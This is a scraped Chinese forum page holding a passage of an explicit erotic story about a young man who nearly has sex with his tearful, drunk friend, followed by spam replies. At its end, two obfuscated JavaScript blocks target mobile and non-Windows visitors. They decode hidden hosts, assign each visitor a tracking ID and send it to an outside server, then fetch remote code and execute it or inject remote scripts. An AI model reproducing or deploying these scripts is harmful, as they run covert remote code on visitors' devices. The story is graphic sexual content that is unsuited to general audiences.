我从来没见菲非这样过,我的印象中菲非是个开朗大方的女孩,性格坚强,没有什么能让她慌乱。可是现在的菲非却哭得好委屈,像个孩子,一边哭一边哽咽着说:“我真的好喜欢�亮,好喜欢,可是他为什么这样对我?高中我就把自己给了他,他为什么还不满意?”

我看菲非这个样子,心里也是酸酸的,觉得有些心痛。我把菲非抱在怀里,轻轻的拍着她的背,安慰她。过了好一会,菲非渐渐平静下来,见我身上全是她的眼泪,有些不好意思,红着脸说:“方响,谢谢你。”

我看着她微乱的发丝、红红的脸蛋,透过凌乱的衬衣领口,我能看见一条深深的乳沟,白皙的乳肉也露出了许多,我忍不住捏了她的脸一下:“傻丫头,跟我还客气什么?”

这个有些亲昵的动作让她有些意外,脸腾的全红了。我从没见过菲非这种害羞的表情,我也有点尴尬。菲非看着我,我有些不知所措,菲非突然抱着我亲住了我的嘴,我一愣。菲非紧紧抱住了我,火热的身躯贴了上了,我能感觉胸前被一对坚挺的肉球顶住,我忍不住回吻她,双手也搂住了她在她身上游走。

与月儿不同,菲非身材圆润,我入手肥美,尤其是大腿和臀部,肉感十足。我感觉刚刚的酒精冲到了我的大脑,我一阵眩晕,忍不住加速吸吮着她的舌头,双手也伸进了菲非的衣服里抚摸她肥美的娇躯,菲非在我的抚摸下娇喘连连。 我的嘴离开她,在酒精的作用下,菲非面色潮红、杏眼娇媚,胸口急速起伏着。我看见她胸口的白皙鼓胀,乳沟随着唿吸变换深浅,我伸出颤抖的手解开了她的衬衣钮扣,一对大奶展现在我面前,小小的奶罩哪里能够完全包裹住这对巨物,大半个乳球露在外面,粉红的乳晕都能看到。

我低头吻了上去,菲非发出了一声呻吟,将胸挺起,头向后仰着。我大口吸吮着她的奶子,伸手解开背后胸罩的扣子,菲非坚挺的乳头挺立了起来,我用舌头和手指挑弄着,“哦……啊……方响你亲得我好舒服啊!啊……”菲非难捺地喊叫起来。

我伸手进菲非的牛仔裤,揉捏着她肥美的臀部,菲非的呻吟声越来越大。我忍不住快速的扒掉菲非的裤子,把她翻过来,压在沙发上,入眼就是菲非肥大的屁股高高翘起。我扑上去揉捏着,用嘴亲吻着,菲非在我用力的揉捏下扭动着肥臀:“方响,用力,亲我,我要你……”

我扒下她的内裤,用手去摸她的屄,湿漉漉的淫水早已氾滥,我将一个手指神了进去,菲非浑身一颤。我把菲非翻过来,一只手摸着她的屄,一只手捏着她坚挺的乳房,菲非在我的玩弄下不断呻吟扭动。我将自己的衣服和裤子脱去,扶着坚挺的鸡巴就要操进去,却看见菲非闭着的眼睛睫毛颤动,一滴滴的泪水流了出来。

我心一惊,欲望退去。我他妈的这是在干什么?我这么做对得起菲非么?对得起月儿么?我用力在自己脸上狠狠地抽了一巴掌。菲非听见“啪”的一声,睁开眼睛看见我在狠狠地抽自己,赶紧拉住我的手。我不顾菲非的拉扯,又狠狠地甩了自己两巴掌,惭愧的说:“对不起,菲非。我……”

“你这是干什么?我……我是自愿的。”菲非眼神痛苦,但语气坚定的说。 我的脸涨得通红:“菲非,你这么难过,我还想占你便宜,我对不起你。你能原谅我么?”

菲非叹了口气,坐起身抱住我,声音低落的在我耳边说:“方响,你真好,月儿真幸福。你别自责了,我不怪你,真的,刚刚就算是你上了我,我也不会生气。说起来,还是我主动勾引你的。”

“叮铃铃∼∼”就在这个时候,我的电话响了,我一看,是�亮的。我拿给菲非,菲非不肯接,我只好接起来。电话一通就听见�亮焦急的声音:“方响,菲非是不是跟你在一起?”我埋怨道:“怎么现在才想起打电话?”

“我也是刚刚月儿打电话给我,我才知道菲非来过我这儿的。我给她电话,怎么都打不通。我知道她在你这儿,你把电话给她。”我看看菲非,菲非恨恨的摇头,我说:“你他妈的到底怎么回事,菲非这么好你不知足,还去找别人。” “方响,我知道错了。求你让菲非接电话吧!我跟她解释。”�亮哀求着,看得出来�亮还是很紧张菲非的,我心里有些舒服。

“现在菲非正在气头上,你说什么都没用。你好好想想吧,赶紧把那个女孩甩了。我可是告诉你,你要是敢对不起菲非,我第一个饶不了你。”

“好好,你好好帮我看着菲非,我马上坐飞机过去找她。谢谢你,方响。” 我听�亮这么说,心里倒是有些内疚。我不只好好看着菲非,我是看得太好了,都看得赤身裸体了。想到这儿,我才反应过来,我们都还赤裸着身体呢!我的心里一阵激动。

我挂了电话对菲非说:“你看,�亮多紧张你,说马上甩了那个女孩过来跟你解释。”菲非冷哼着不说话。我接着说:“我看你就原谅这个小子算了。你们都那么多年了,而且男人嘛,总是免不了受不了诱惑的。你们又隔那么远。” “那你怎么可以不受我的诱惑?”菲非反问,不顾我们赤身裸体,凑到我眼前盯着我看。我感受到她娇躯的热量,有些心慌,忙向后躲:“哪里,我不是差点犯错误了么?你那么漂亮,我怎么能不受诱惑,主要是你没有真的诱惑我。呵呵。”菲非看着我的窘态,“噗嗤”一笑。颜若桃花的面容、微微凌乱的发梢配合如玉脂般的肌肤,我看得不禁呆了。

菲非见我这么盯着她,有些羞涩却钻到我怀里说:“其实,我有心理准备。�亮跟我离这么远,如果他出轨我会怎么办?我想,我是会原谅他肉体出轨的,而且……”说到这,她擡头看看我,有些娇羞的接着:“我们四个人都这个样子了,我也可以接受他跟别的女孩那个,只是,我无法接受他感情的背叛。昨天他看那个女孩的眼神中充满的爱意,我真的无法接受。”说着菲非眼眶又有些红。 我知道菲非是太爱�亮了,心里有些感叹。这个女孩看似坚强洒脱,可是其实感情脆弱得令人怜惜。我怜爱的揉了揉菲非的头发,不知道怎么安慰她。 菲非低声在我怀中啜泣,我叹了口气,抱起她走到房间的床边,把她放在床上,帮他盖好被子,蹲在床边看着她,柔声说:“想哭,你就哭一会吧!哭完了睡一觉,明天什么都好变好的。”菲非拉起被子盖住了头,我听到被子里传来伤心的呜咽,我的心里很难受却也无可奈何。

我回到客厅穿好衣服。把菲非的衣服整理好放到她的床头,坐在床边。过了一会,菲非停止了啜泣,把头钻出被子,我帮她擦干净脸上的泪水,说:“哭过好受些了吧?”菲非用力点了点头,大声说道:“不哭了,不哭了,今天把我一辈子的眼泪都流完了。”说完洒脱的笑笑。

“这就对了,这才是我认识的菲非。呵呵,放心吧,我相信�亮肯定会回到你的身边的。”我说。菲非噘着嘴:“哼!那也得我要他才行。”我看着菲非嘟嘟的嘴唇,想着刚刚和她的热吻,有些恍惚。

�亮第二天就过来了,月儿也早早的回来,在我们两个的调解下,菲非原谅了�亮,也不能说原谅,菲非提出�亮必须跟那个女孩分手,�亮忙答应。菲非又提出她只是原谅�亮之前的出轨,现在他们仍然处在分手状态,�亮要是还想跟她好,没问题,追啊!就这样,�亮开始了马拉松式的追求。

他们现在的状态很奇妙,似情侣似不是情侣,�亮每天三个电话准时问候,每逢假期必定过来看菲非,菲非心情好了的时候也会过去看他。但就我所知,�亮现在的权利就是拉手,亲吻都很少,更不要说亲热了。每次过来都是我跟月儿一间房,菲非住一间房,�亮只能住客厅的沙发。晚上我故意和月儿弄得很大声音,可是菲非就是不为所动。�亮向我倒苦水说菲非还经常穿着清凉暴露出来客厅走一圈,看得他双眼冒火,只能趴我的门缝看我们的直播打飞机。

我把这个当笑话告诉月儿,月儿娇嗔着说我变态,被人偷看还笑。我说�亮又不是没看过,月儿说那也不行。

自从上次我跟菲非差点走火,有时候我看见菲非火辣的身材就有了异样的感觉,而且我感觉她也是经常故意的在我面前暴露,经常故意的眼神挑逗我一下,给我露个奶什么的,看得我火起。尤其是当着�亮的面更是如此,她经常和我调笑,还往我身上蹭。我知道她是故意刺激�亮,却也被她撩拨得心痒难耐。 我的人生第一个大学学年就这么热热闹闹的过去了。在这一年中,我得到了我最爱的女人,我得到了两个好朋友。虽然这两个好朋友的状态令人担忧,我还经常被卷进去,但是,这就是青春啊!我们正青春,我们也毫无顾忌地挥霍着青路过看看。。。推一下。。。

路过看看。。。推一下。。。

真是生我者父母,知我者楼主呀!

由衷感谢楼主辛苦无私的分享

路过看看。。。推一下。。。

路过看看。。。推一下。。。

路过看看。。。推一下。。。

大家一起来跟我推爆!

大家一起来跟我推爆!

大家一起来跟我推爆!

路过看看。。。推一下。。。

路过看看。。。推一下。。。


上一篇:当我一天的男朋友好吗

下一篇:一个淑女第一次嫖鸭的经历


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};